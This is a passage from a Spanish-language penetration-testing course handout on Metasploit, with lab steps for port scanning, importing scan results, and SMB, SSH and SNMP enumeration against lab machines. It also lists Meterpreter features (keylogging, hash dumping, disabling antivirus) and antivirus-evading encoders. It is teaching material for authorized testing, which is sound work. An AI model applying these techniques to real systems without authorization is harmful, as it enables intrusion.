Metasploit

Descargar como docx, pdf o txt
Descargar como docx, pdf o txt
Está en la página 1de 56

Certified Offensive and Defensive Security Professional -CODSP Training

Certified Offensive and Defensive Security


Professional -CODSP Training
(Profesional Certificado en Seguridad Ofensiva y Defensiva)

Taller de entrenamiento:
Penetration Testing “Kung Fu” con
Metasploit Frameworkv 1.0

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Fundamentos y conceptos básicos de Explotación y el software Metasploit.

Seguramente muchas personas han escuchado hablar a un amigo, colega, un conferencista, un


docente, entre otros, sobre los Frameworks de explotación de vulnerabilidades, y en especial
del famoso Framework de explotación llamado Metasploit, y muy seguramente ha entrado
algún nivel de curiosidad en lo que respecta al funcionamiento, alcance e impacto que tiene
este entorno de trabajo en la seguridad de la información ofensiva.

En efecto proyectos como Metasploit han revolucionado la forma en que se realizan las
auditorías, Test de Penetración y/o pruebas de seguridad a los sistemas de información, ya
que su potencia es tal, que personal técnico en el área de las tecnologías de la información sin
experiencia en seguridad de la información y/o usuarios mal intencionados pueden hacer uso
de Metasploit para realizar pruebas de seguridad de una forma sencilla y causar según el
usuario, un buen dolor de cabeza a los administradores de sistemas o por el contrario,
presentar importantes alertas de seguridad de forma anticipada, para corregir los agujeros y
debilidades de seguridad de un sistema informático. Sin embargo software como Metasploit
tiene más positivo que negativo, ya que tener un entorno de trabajo con exploits actualizados
y listos para ejecutarse, obligan a las empresas desarrolladoras de software a programar y
publicar los parches para los agujeros de seguridad que son aprovechados por los diferentes
marcos de explotación que existen en el mercado. Como es el caso de Metasploit.

La potencia de Metasploit radica en tres conceptos fundamentales: Facilidad de uso,


multiplataforma y la comunidad.

Facilidad de uso: desde el usuario inexperto y novato en las pruebas de seguridad a sistemas
de información, hasta el usuario experto que tiene las capacidades de crear códigos de
explotación, puede hacer uso de todo el potencial de Metasploit como parte esencial de las
herramientas que usan para la realización de las pruebas de seguridad a los sistemas
informáticos.

Multiplataforma: Otra razón de peso para aprovechar todo el potencial de Metasploit, es que
puede ser usado en diferentes sistemas operativos como Linux, Windows, Unix, entre otros,
sin perder en ningún momento la potencia del software Metasploit, independiente del sistema
operativo que usa el usuario final.

La comunidad: Metasploit fue liderado por un experto Hacker llamado HD Moore en el año
2003, sin embargo con el pasar de los años, muchos expertos en desarrollo de códigos de
explotación se han sumado a este gran proyecto, con lo que miles de programadores del
mundo en la actualidad programan códigos de explotación de vulnerabilidades y los integran a
Metasploit, ayudando así a que la base de datos de exploit en Metasploit, sea de las más
completas en el mundo, y se mantenga bien actualizada.

Para comenzar de forma adecuada el estudio, análisis y práctica con el software de explotación
Metasploit, es importante conocer la estructura de Metasploit y algunos conceptos base
relacionados con la explotación de vulnerabilidades.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Metasploit: En su versión Framework, Metasploit es un software de explotación amparado


como Software Libre y código abierto, inicialmente escrito en el lenguaje de programación
Perl, pero actualmente está escrito en el lenguaje de programación Ruby. A la fecha fue
adquirido por la potente empresa de seguridad llamada Rapid7, y recibe un gran número de
solicitud de descargas de forma anual.

Vulnerabilidad: Es una debilidad que existe en un sistema operativo, aplicación, dispositivos


de red, protocolos de red, entre otros, la cual permite a un atacante o auditor de seguridad
comprometer la seguridad del sistema o dispositivo de red.

Exploit: Es un código, método o vía, que permite a un atacante informático o a un auditor de


seguridad explotar una vulnerabilidad conocida, para poder comprometer la seguridad de un
sistema informático. A modo informático, Metasploit cuenta con más de 1000 códigos de
explotación.

Payload: Es un código que acompaña y se ejecuta después del código de explotación, con el
objetivo de poder realmente hacer algo en el sistema de la víctima, por lo regular el código
Payload se usa para realizar una conexión entre el atacante y la víctima. Algunos ejemplos de
un Payload, sería la conexión a la víctima por medio de una Shell de comandos como cmd.exe
por ejemplo, o conectarse a la víctima usando el protocolo VNC. A modo informático,
Metasploit cuenta con más de 250 códigos del tipo Payload.

Encoder: Es un componente de metasploit, el cual se usa para generar versiones trasformadas


de Payloads.

Módulos: Los módulos son pequeños componentes del sistema, donde cada módulo realiza
una tarea específica, la cual puede ser llamada en algún momento para integrarse a otros
módulos, y poder hacer así una tarea más representativa de forma completa y compuesta por
varios módulos.

ShellCode: El shellcode se define como un conjunto de instrucciones que son utilizadas por un
Payload cuando el proceso de explotación se ejecuta. Por lo regular en Shellcode está escrito
en lenguaje Ensamblador (Assembly). En la mayoría luego de que se ejecute el código
Shellcode se recibe al usuario atacante y/o auditor de seguridad una Shell de comandos.

Listener: Un listener es un componente del software Metasploit, el cual queda a la espera de


algún tipo de conexión entrante. Un ejemplo de un listener seria cuando una maquina victima
ha sido comprometida y se ha dejado algún tipo de puerta trasera o servicio ejecutándose en
la maquina víctima, y dicho servicio hace llamados de conexión a la maquina atacante de
forma periódica para poder lograr de nuevo una intrusión en el equipo víctima.

Auxiliar (Auxiliary): Es un módulo de Metasploit Framework, el cual permite hacer tareas


adicionales, para resolver problemas específicos, tales como el scanning de puertos, ataques
por fuerza bruta, entre otros.

Arquitectura de Metasploit: La arquitectura modular del software Metasploit, puede verse en


la siguiente gráfica.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Fuente: http://www.offensive-security.com/metasploit-unleashed/Metasploit_Architecture

Analizando un poco el diagrama anterior, se tiene lo siguiente:

Libraries (Librerías): Las diferentes librerías son usadas de forma clave para el adecuado
funcionamiento de Metasploit, ya que estas son una agrupación de tareas definidas,
operaciones y funciones que pueden ser usados por los diversos módulos que componen
Metasploit. Una de las Librerías más importantes en el Framework de explotación Metasploit
es la Librería Rex, la cual es la base para la mayoría de tareas, ya que dentro de esta librería se
encuentran componentes de gran importancia como las implementaciones de los protocolos a
nivel de servidor y cliente.

Luego se tiene la Librería "MSF Core library", esta librería tiene como funciona principal la
implementación de todas las interfases requeridas, las cuales permiten el trabajo de forma
conjunta con los módulos de explotación, las sesiones, entre otros.

Finalmente se encuentra la Librería "Base library", la cual es la encargada de soportar el


trabajo con los diferentes tipos de interfaces a nivel de usuario.

Interfaces: El entorno de trabajo de Metasploit, ofrece diferentes tipos de interfaces, cada una
de ellas con sus fortalezas y debilidades. Las interfaces son las siguientes:

Msfconsole: Es una de la partes más populares y reconocidas de Metasploit Framework, ya


que es una herramienta del "tipo todo en uno", es una herramienta llena de funcionalidades,
en la cual se puede hacer todo tipo de procesos en el Framework, tales como la carga de
módulos auxiliares, el scanning de una red, procesos de enumeración, creación de listeners y el
lanzamiento de un exploit. Es una de las interfaces que mayor apoyo y soporte tiene con el
entorno de trabajo de Metasploit. Para ingresar a la interface msfconsle, simplemente basta

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

con abrir una shell de comandos y digitar el comando msfconsole, tal y como se aprecia en la
siguiente imagen.

Luego debe de abrirse la interface msfconsole, tal y como se aprecia en la siguiente imagen.

Al principio la interface puede parecer un poco compleja, pero a medida que el usuario va
conociendo los diferentes comandos, se podrá apreciar la facilidad de trabajo bajo la interfaces
msfconsole. Para usar la ayuda dentro de la interface msfconsole, se debe de digitar el
siguiente comando: msfconsole -h

Un listado completo de los comandos soportados por la consola msfconsole, puede ser
consultado en la siguiente URL:

http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands

Msfcli: Es una consola que se ejecuta directamente desde la línea de comandos (Shell). A
diferencia de msfconsole, msfscli es una consola más limitada, en la cual de igual forma se
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

pueden lanzar exploits, configurar módulos auxiliares, entre otros. A pesar de que su uso es
limitado frente a msfconsole, msfcli es una interface de gran utilidad para ejecutar tareas tales
como: probar nuevos exploits, realizar explotación específica cuando el usuario conoce el
exploit y las opciones, automatización básica y con scripts, además es adecuado para el
aprendizaje de Metasploit.

Es importante tener presente que msfcli, solo puede manejar una shell o un hilo de conexión a
la vez. En la siguiente imagen se podrá ver un ejemplo de uso de msfcli.

Msfweb: Es una consola web de fácil uso, del tipo apunte y tire o "Point-and-click".
Relativamente ha sido considerada como una consola inestable y de poco uso. Para este
módulo del diplomado en seguridad, no se hará uso de este tipo de interface.

Armitage: Es una interface gráfica a nivel de usuario, creada por Raphael Mudge, la cual posee
muchas características y se integra con Metasploit de forma gratuita. Para este módulo el
diplomado y/o taller de seguridad no se hará mucho énfasis en Armitage, pero vale la pena
que el estudiante luego profundice en esta interface, teniendo presente de forma anticipada el
buen manejo de la consola msfconsole, y que esté familiarizado con Metasploit Framework. En
el siguiente link se encuentra un interesante curso de puesta en marcha y pruebas con
Armitage. http://www.ethicalhacker.net/content/view/379/2/

En la siguiente imagen se puede observar la interface Armitage.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Nota: Para los módulos de explotación y post-explotación de este curso de seguridad, vamos a
basarnos principalmente y en un gran porcentaje en la interface msfconsole.

Metasploit Utilities (Utilidades Importantes de Metasploit): Las siguientes utilidades pueden


sernos de mucha ayuda en situaciones específicas que en algún momento se nos presenten al
momento que estemos realizando nuestras auditorías de sistemas, y tests de seguridad del
tipo Hacking Ético.

MsfPayload: Es una utilidad de Metasploit que le permite al usuario final tareas de gran
importancia tales como: Generar códigos del tipo shellcode, generar archivos ejecutables, para
pruebas de infecciones de virustroyanos por ejemplo. Con los las prácticas de laboratorio
vistas en el transcurso de este diplomado, veremos que la utilidad msfpayload es de gran
ayuda para los procesos de explotación del lado cliente (ClientSide).

MsfEncode: Los códigos del tipo “Shell code” generados pro msfpayload son totalmente
funcionales, sin embargo muchos de estos códigos contienen caracteres nulos, los cuales al ser
interpretados por muchos programas, pueden causar que el código no se ejecute de forma
completa. Además de que los Shellcode generados muy probablemente lleguen a la victima
pasando por redes que estén siendo vigiladas y protegidas por sistemas detectores de intrusos
y software antivirus. Por todas las razones expuestas anteriormente los desarrolladores de
Metasploit crearon Msfencode, el cual es una utilidad que ayuda a evitar que el shellcode
preparada por el auditor informático y/o Pentester, sea indetectable y no contenga caracteres
que afecten la ejecución del código antes de tiempo. Metasploit contiene diferentes encoders
(Codificador) para diversas situaciones. Para identificar la lista de opciones de la utilidad
msfencode, se debe de digitar el comando que se aprecia en la siguiente imagen:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Uno de los encoders más fiables que contiene Mestaploit, es el encoderx86/shikata_ga_nai, el


cual está clasificado como Excelente (Excellent). Para ver un listado de los encoders
disponibles, digitar el siguiente comando desde la Shell de Linux Backtrack: msfencode -l

Clasificación de los Exploit y los Payloads en Metasploit Framework:

Clasificación de los Exploit: Los códigos de explotación (Exploits) en Metasploit se dividen en


dos: Exploit Activos y Exploits Pasivos

Exploit Activos: Son códigos de explotación que se ejecuten en la maquina victima de forma
completa, incluyendo la finalización del código. Algunos ejemplos de exploits activos son:

ms08_067_netapi
smb/psexec

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Exploit Pasivos: Son códigos de explotación que esperan a que las víctimas se conecten a ellos.
Por lo regular son los códigos exploits que están del lado del cliente (ClienSide).

Clasificación de Payloads: Los códigos del tipo Payload (Carga Útil) en Metasploit dividen en
tres: Singles, Stagers, y Stages.Cada uno de ellos posee una gran variedad y pueden aplicarse a
diferentes escenarios.

Singles: Son tipos de Payloads que son autónomos e independientes, y se ven representados
en acciones como crear un usuario o abrir la calculadora (calc.exe) en el sistema víctima.

Stagers: Son tipos de Payloads diseñados de un modo pequeño y fiables y permiten configurar
una conexión de red entre la víctima y el atacante.

Stages: Son tipos de Payloads un poco más pesados, y permiten descargar y hacer procesos en
el sistema víctima tales como Inyección VNC, Meterpreter, entre otros.

Meterpreter (Meta- Interpreter) “Todo en Uno” – El Payload Rey.

Como se verá a lo largo de este curso de seguridad, Metasploit Framework tiene muchos
Payloads, pero meterpreter es uno de los que más funcionalidades tiene. Meterpreter se
define como una extensión de Metasploit, la cual permite aprovechar al máximo las
funcionalidades de Metasploit y aumentar el alcance en lo que respecta a comprometer a
nuestra maquina víctima. También puede definirse como un Payload avanzado.
Dentro de muchas de las funcionalidades y características que nos ofrece Meterpreter se
encuentran:

 Cargar Un Keylogger(Módulo que graba las pulsaciones en el teclado) en el sistema


victima
 La comunicación entre el atacante (Auditor) victima (objetivo de evaluación) es cifrada
 Hacer capturas de pantalla(Screenshot) en el sistema victima
 Subir y descargar archivos entre el sistema víctima y el atacante y/o auditor.
 Apagar el sistema victima
 Manipular el registro de Windows en el sistema victima (Acceso Lectura/Escritura)
 Abrir una Shell de comandos en el sistema victima
 Migrar de procesos en el sistema victima
 Obtener los Hash de los usuarios del sistema victima
 Pivoting entre subredes en el sistema y/o red victima
 Evita la creación de procesos en el sistema victima
 Evita la creación de archivos en el disco duro del sistema victima
 Es una herramienta que sirve tanto en el proceso de explotación, como en el de post-
explotación.
 Se pueden usar múltiples canales de comunicación entre la víctima y el atacante
(Auditor) usando la misma conexión.
 Acceso al sistema de archivos en el sistema victima
 Ejecución de comandos en el sistema victima
 Obtener información del sistema victima

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Es un Payload estable y altamente flexible


 Deshabilitar el software antivirus
 Capturar trafico de red en el sistema victima
 Y Mucho mas……………………

En la siguiente imagen podemos apreciar una Shell Meterpreter que se le ha dado al usuario
atacante y/o auditor de seguridad, luego de que este ha realizado una intrusión exitosa sobre
un sistema vulnerable con S.O Windows XP.

Para usar la ayuda de meterpreter, basta con digitar el comando help directamente desde la
consola meterpreter.

A medida que avanza el curso de seguridad, veremos cómo utilizar Meterpreter en los
procesos de auditorías de seguridad y teste de penetración. Meterpreter será una de las
herramientas que más se usa en los procesos de explotación de este curso de seguridad
informática.

Otros Payloads importantes que se deben manejar y conocer dentro del entorno de trabajo de
Metasploit Framework:

windows/vncinject/reverse_tcp
windows/shell/reverse_tcp
windows/shell_bind_tcp

Explotación básica con Metasploit Framework: Para proceder a realizar el primer proceso de
explotación usando metasploit Framework, se hace necesario tener presente los siguientes
conceptos y criterios:

 La explotación y la post-explotación son las últimas fases de proceso de auditoría de


seguridad ética (Hacking ético) y/o Test de penetración, por lo que antes de proceder
al lanzar el primer proceso de explotación con Metasploit, el estudiante debe de
manejar de forma completa las anteriores fases del Hacking Ético tales como:
Recolección de información, Scanning de puertos, Enumeración y Scanning de
vulnerabilidades.

 El proceso de explotación, se basa en una debilidad crítica identificada en las fases


anteriores del Hacking Ético.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 La mayoría de procesos de explotación se realizan usando la consola msfconsole, sin


embargo haremos uso en algunos procesos de explotación de la consola msfcli.

 Para lanzar el primer exploit usando Metasploit Framework, se deben de tener en


cuenta los conceptos que se mencionan a continuación, en lo que respecta a
explotación básica.

 Tener en cuenta y como referencia los comandos de msfconsole, los cuales se pueden
encontrar de forma completa en la siguiente Url: http://www.offensive-
security.com/metasploit-unleashed/Msfconsole_Commands

Conceptos de explotación básica con Metasploit Framework: teniendo presente que


metasploit contiene muchísimos módulos, exploit, auxiliares, payloads, entre otros, se dificulta
un poco recordar cada uno de los módulos, por lo tanto es importante conocer y practicar
sobre los siguientes comandos de la consola msfconsole, para facilitar así el uso de cada uno
de los componentes que requeridos para los procesos de explotación:

msf> show exploits: Este comando muestra todos los códigos de explotación que están
disponibles en metasploit Framework (La cantidad de exploits depende de la fecha de
actualización de metasploit). El anterior comando es de gran importancia, ya que cada día se
descubren nuevas vulnerabilidades, y por consenciente se crean e integran nuevos códigos de
explotación a metasploit framework. En la siguiente imagen se puede apreciar un ejemplo de
la ejecución de este comando.

msf> show auxiliary: Los módulos auxiliares en metasploit, tienen variedad de propósitos,
tales como: Scanners de red, Scanners de servicios, fuzzers, entre otros. Por lo tanto la
ejecución del comando en mención muestra en pantalla los módulos auxiliares disponibles
para metasploit framework. (La cantidad de módulos auxiliares depende de la fecha de
actualización de metasploit)

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Prácticas de Laboratorio:

Práctica de laboratorio numero 1


Objetivos: Ingresar y hacer uso de las diferentes consolas que ofrece Metasploit,
tales como la msfconsole y la msfcli.
Recursos: VMWARE, Metasploit Framework y Backtrack 5

Ejecución de la práctica de laboratorio 1:

Paso 1: Ingresar a Linux Backtrack, y abrir una shell de comandos (Terminal). (Recordar que el
usuario y password respectivamente para Backtrack, es root y toor. Luego desde la shell de
comandos digitar startx para entrar al modo grafico)

Paso 2: abrir la consola msfconsole, lo cual se logra digitando el comando msfconsole desde la
terminal de comandos de Linux Backtrack

Luego que se digite el comando msfconsole, debe de salir lo siguiente:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

En la anterior imagen se puede apreciar que ya estamos dentro de la interface msfconsole. En


el ingreso a la interface, el sistema nos indica la versión de metasploit, el número de exploits,
el número de módulos auxiliares, el número de PAYLOADS, entre otros.

Anotación: Para ingresar a la interface msfconsole, y a las otras interfaces que nos ofrece
metasploit, también lo podemos hacer por el entorno gráfico.

Paso 3: digitar el comando msfconsole -h, para poder ver la ayuda de la interface msfconsole

Paso 4: salir de la interface msfconsole con el comando exit.

Paso 5: Una vez que se tiene una visión general sobre algunas de las interfaces de metasploit,
es importante tener presente que el software debe de quedar actualizado a los últimos
exploits, payloads, módulos auxiliares, entre otros. Para actualizar metasploit, simplemente
desde una shell se digits el comando respectivo para la actualziacion (Omitir esta paso, ya que
la imagen de Linux Backtrack suministrada tiene la última versión actualizada de Metasploit
Framework)

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Anotación: Para efectos de este taller, ya se entrega Linux Backtrack con Metasploit
actualizado al día. Lo anterior para fines de optimizar tiempos, ya que actualizar metasploit en
el equipo e cada estudiante, puede tomar algún tiempo, según la velocidad del canal de
Internet en donde se dicta el taller.

.
Práctica de laboratorio numero 2
Objetivos: Verificar la conexión de Metasploit con un sistema de bases de daos, para
ir almacenando la información de los host que se están evaluando a nivel de
seguridad, en lo que respecta a procesos de scanning de puertos.
Recursos: VMWARE, Metasploit Framework, Windows Server y Backtrack 5

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
 Es altamente importante tener conocimientos básicos-medios al respecto de
los servicios de red que se están evaluando y próximamente atacando, para
comprender mejor el trabajo de análisis de seguridad y/o penetration testing
realizado.

Ejecución de la práctica de laboratorio 2:

Conexión con una base de datos y Scanning de Puertos

Paso 1: Ingresar a la interface msfconsole

Anotación: En versiones anteriores de metasploit se hacía necesario configurar


metasploit con una base de datos para poder plasmar de una manera más ordenada
los resultados de las actividades que se iban ejecutando en el proceso de pruebas de
penetración. Actualmente la última versión de metasploit solo soporta conexión para
base PostgreSQL. Para poder ver el status de conexión de metasploit con la base de
datos PostgreSQL se debe de digitar el siguiente comando: db_status

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Paso 2: digitar el comando db_status, para identificar que metasploit esté conectado a una
base de datos llamada msf3dev

Paso 3: digitar el comando db_nmap dirección IP Target (Windows Server 2003)

Paso 4: digitar el comando hosts para ver los resultados de los host que se tienen guardados
en la base de datos. Para el siguiente caso, se tienen dos host.

Anotación: En ocasiones cuando el equipo de trabajo de un proceso de auditoría de seguridad


y/o penetration testing es representativo, y se hacen pruebas en diferentes momentos y de
lugares distintos, es importante ejecutar nmap de firma directa y guardar los resultados en un
archivo con algún formato en especial, por ejemplo en XML.

Paso 5: realizar un scanning de puertos usando nmap, con la opción de exportar los resultados
del scanning a un archivo del tipo XML. El scanning de puertos se puede hacer a un solo host, o
directamente a toda una subred. Para el caso hacerlo sobre la maquina Windows 2003 Server.

Los resultados del anterior proceso de scanning, deberían de ser importados a la base de datos
de metasploit con el comando db_import seguido del nombre del archivo.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Paso 6: Una vez que se tienen algunos host registrados en la base de datos, con el comando
services, se pueden identificar los servicios que están a la escucha en las maquinas víctimas.

Nota: No olvidar ir borrando la base de datos con el comando hosts –d para ir probando las
distintas opciones de cómo se guardan algunos registros en la base de datos.

Paso 7: Realizar un proceso de Scanning de puertos usando los módulos auxiliares de nmap
que están dentro de metasploit. Para lograrlo primero debemos de hacer una búsqueda con el
comando search de los módulos auxiliares de metasploit que tiene la función de scanning de
puertos, lo cual se logra con el siguiente comando: search portscan

Luego se obtiene los siguientes resultados:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Paso 8: Seleccionar el modulo auxiliar de scanning llamado auxiliary/scanner/portscan/tcp y


seleccionarlo con el comando use de metasploit, tal y como se muestra en el siguiente
comando: use auxiliary/scanner/portscan/tcp

Dar el comando show options para ver las variables que necesita el modulo para poder
trabajar.

Paso 9: Indicar las variables que se necesita para realizar el scanning de puertos, para el caso
solo vamos a asignar valores a la variable RHOST que es la maquina target-victima, a la cual el
vamos a realizar el scanning de puertos, y vamos a asignarle valores a la variable PORTS, que
corresponde a los puertos TCP que vamos a verificar si están abiertos, cerrados o filtrados.
Según lo anterior los comandos para asignar los valores para ambas variables son:

set RHOST IP de Windows Server 2003 y/o Metasploitable


set PORTS 25,53,80,110,135,139,445,1433,3389

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Paso 9: El último paso es digitar el comando show options para ver que todo está bien, y si no
hay problemas, entonces de proceder a ejecutar el modulo Auxiliar de scanning de puertos con
el comando run

Una vez que se ejecute el modulo auxiliar contra uno de los targets (Objetivos de evaluación),
debe de salir los siguientes resultados (Recordar que las direcciones IP varían de acuerdo a
cada target de cada segmento de red de las máquinas virtuales)

Ir más allá: Para usuarios más avanzados y/o experimentados con metasploit, que tal si
ejecutan el anterior comando, pero colocando un sniffer como wireshark de forma paralela al
scanning de puertos, para capturar el tráfico y verificar el tráfico de red para un scanning de
puertos del tipo SYN.

Práctica de laboratorio numero 3


Objetivos: Realizar procesos de importación de archivos resultantes de procesos de
scanning de vulnerabilidades y scanning de Puertos.

Recursos: VMWARE, Metasploit Framework, Windows Server 2003, Windows XP y


Backtrack 5, Maquina física Windows 7 -XP,NESSUS

Observaciones:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Antes de proceder a realizar la práctica, verificar que las maquinas Linux


Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas máquinas.

 Es altamente importante tener conocimientos básicos-medios al respecto de


los servicios de red que se están evaluando y próximamente atacando, para
comprender mejor el trabajo de análisis de seguridad y/o Penetration Testing
realizado.

Ejecución de la práctica de laboratorio 3:

Paso 1: Importando resultados de Nessus a Metasploit: Metasploit permite importar


resultados de análisis de vulnerabilidades ejecutados con diversas herramientas, lo cual en
algún momento puede ser de mucha utilidad. Para proceder a importar los resultados
generados por la herramienta nessus, se debe de hacer lo siguiente:

NOTA: Omitir este paso, ya que se ha publicado en el sitio web del taller un archivo llamado
nessus.nbe.

 Realiza un Scan de Vulnerabilidades total a uno o dos de los sistemas víctima, para el
caso lanzarlo contra la maquina Windows 2003 Server y/o Linux Metasploitable. (Para
lanzar el scanning es necesario crear una política de análisis de vulnerabilidades, según
las instrucciones del docente del taller.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Luego se debe de proceder a exportar los resultados obtenidos en el análisis de


vulnerabilidades. El proceso de exportar el análisis, debe de tener en cuenta exportar
los resultados en formato NBE.

 Luego se debe de llevar el archivo a la ruta /root de Linux Backtrack.

 Finalmente ingresamos de nuevo a la consola msfconsole de Metaploit, e importamos


el archivo de Nessus con el siguiente comando:
db_import /root/nessus.nbe

Donde el archivo nessus.nbe corresponde al nombre del o los archivos generados por medio
de Nessus, en lo que respecta al proceso de análisis de vulnerabilidades.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Cuando finalice el importe dl archivo a la base de datos de metasploit, se debe


proceder a realizar las respectivas verificaciones, para lo cual puedes ejecutar los
siguientes comandos:

hosts: Para ver los host importados


services: Para ver los servicios asociados a los puertos de los host actuales en la base de datos
de metasploit.
vulns: Para ver las vulnerabilidades asociadas a las puertos y servicios de cada host existente
en la base de datos de metasploit.

También se pueden hacer algunas búsquedas personalizadas en los registros que tenemos en
la base de datos de metasploit, tales como:

vulns -p80 = Busca vulnerabilidades asociadas al puerto 80


services (Dirección IP) =Busca los servicios (Puertos) asociados a una dirección IP especifica.

Paso 2: Luego se debe de realizar un scanning de puertos y proceder a cargarlo a la base de


datos de metasploit. El scanning lo puedes hacer a alguno de los host que no existan en tu
base de datos, y se ejecuta con el siguiente comando:

nmap -oX nombrereporte -sS (IP)

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

El anterior comando envia los resultados del scanning de puertos a un archivo xml, el cual
pueda ser importado directamente a la base de datos de metasploit, lo cual s elogra
ejecutando el siguiente comando desde la consola msfconsole:

db_import nombredelreportexmldenmap

Práctica de laboratorio numero 4


Objetivos: Identificar y utilizar algunos de los módulos auxiliares que tiene Metasploit
para realizar procesos de scanning de puertos para aplicaciones y/o protocolos
específicos, tanto a nivel TCP como para UDP.

Recursos: VMWARE, Metasploit Framework, Windows Server 2003, Windows XP y


Backtrack 5

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas máquinas.

 Es altamente importante tener conocimientos básicos-medios al respecto de


los servicios de red que se están evaluando y próximamente atacando, para
comprender mejor el trabajo de análisis de seguridad y/o penetration testing
realizado.

Ejecución de la práctica de laboratorio 4:

Paso 1: Trabajando con el Protocolo SMB: Realizar un proceso de scanning del servicio SMB
(Server Message Block Scanning), para lo cual se debe de seleccionar el modulo auxiliar
auxiliary/scanner/smb/smb_version. Para poder usar este módulo, se debe realizar de forma
secuencial lo siguiente:

 seleccionar el modulo auxiliar con el comando use


auxiliary/scanner/smb/smb_version
 Luego se debe de digitar el comando show options, para ver las opciones del módulo
auxiliar
 Luego se le coloca la variable RHOSTS, que para el caso de este laboratorio, seria para
asignar la dirección IP de Windows 2003 Server.
 De nuevo digitamos show options y si todo está bien, ejecutamos el módulos auxiliar
con el comando exploit.

En la siguiente imagen encuentras de forma secuencial todos los pasos mencionados


anteriormente.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Si el exploit se ejecuta correctamente, deberá de mostrar algo similar a la siguiente


imagen, donde se puede apreciar el sistema operativo del target (Victima -objetivo de
análisis de seguridad), el dominio al que está asociado la víctima, y el nombre del
servidor

Paso 2: Trabajando con el Protocolo SMB: Realizar un proceso de enumeración de usuarios y


grupos del nuestra víctima o target, que para el caso es Windows 2003 Server, lo cual se logra
usando el modulo auxiliar auxiliary/scanner/smb/smb_lookupsid.

Para poder usar este módulo, se debe realizar de forma secuencial lo siguiente:

 use auxiliary/scanner/smb/smb_lookupsid
 show options
 set RHOSTS IP Windows Server
 exploit

En la siguiente imagen encuentras de forma secuencial todos los pasos mencionados


anteriormente.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Si el modulo auxiliar se ejecuta de forma correcta, deberemos tener los nombres de


usuarios y grupos que existen actualmente en el servidor Windows 2003 Server.

Paso 3: Trabajando con el Protocolo SSH: Realizar un proceso de identificación de la versión


del servidor SSH que se encuentra en el equipo Windows XP SP2 (Hacerlo también contra la
maquina Linux Ubuntu Metasploitable). Lo anterior se logra seleccionando el modulo auxiliar
de metasploit llamado auxiliary/scanner/ssh/ssh_version

Para poder usar este módulo, se debe realizar de forma secuencial lo siguiente:
Primero lanzarlo contra Windows XP SP2

 use auxiliary/scanner/ssh/ssh_version
 show options
 set RHOSTS (IP Windows XP SP2)
 exploit

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

En la siguiente imagen encuentras de forma secuencial todos los pasos mencionados


anteriormente.

Luego lanzarlo contra la maquina Linux Metasploitable.

 use auxiliary/scanner/ssh/ssh_version
 show options
 set RHOSTS (IP Linux Metasploitable)
 exploit

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Paso 4: Trabajando con el Protocolo SNMP: Realizar un proceso de identificación de recursos


que se tengan compartidos en la estación de trabajo Windows XP SP2, usando el protocolo
simple de administración de red. Lo anterior se logra seleccionando el modulo auxiliar de
metasploit llamado use auxiliary/scanner/snmp/snmp_enumshares

 use auxiliary/scanner/snmp/snmp_enumshares
 show options
 set RHOSTS 192.168.137.28
 run

En la siguiente imagen encuentras de forma secuencial todos los pasos mencionados


anteriormente.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Anotación: Y de forma similar existen muchísimos más módulos auxiliares a nivel de


scanners de puertos y aplicaciones, los cuales evalúan otros protocolos tales como
FTP, MSSQL, SNMP, entre otros.

Práctica de laboratorio numero 4


Objetivos: Identificar y utilizar algunos de los módulos auxiliares que tiene Metasploit
para realizar procesos de análisis de vulnerabilidades para aplicaciones y/o protocolos
específicos, tanto a nivel TCP como para UDP.

Recursos: VMWARE, Metasploit Framework, Windows Server 2003, Windows XP y


Backtrack 5

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas máquinas.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Es altamente importante tener conocimientos básicos-medios al respecto de


los servicios de red que se están evaluando y próximamente atacando, para
comprender mejor el trabajo de análisis de seguridad y/o penetration testing
realizado.

 Como actividad complementaria y para evitar todo el tiempo que la aplicación


nessus se demora actualizando los plug-in, se puede usar el software Nessus
que está instalado en la maquina Windows XP, o en la maquina física con
Windows 7. (Omitir este paso)

Anotación: Es altamente recomendable que si el estudiante no conoce cómo trabaja


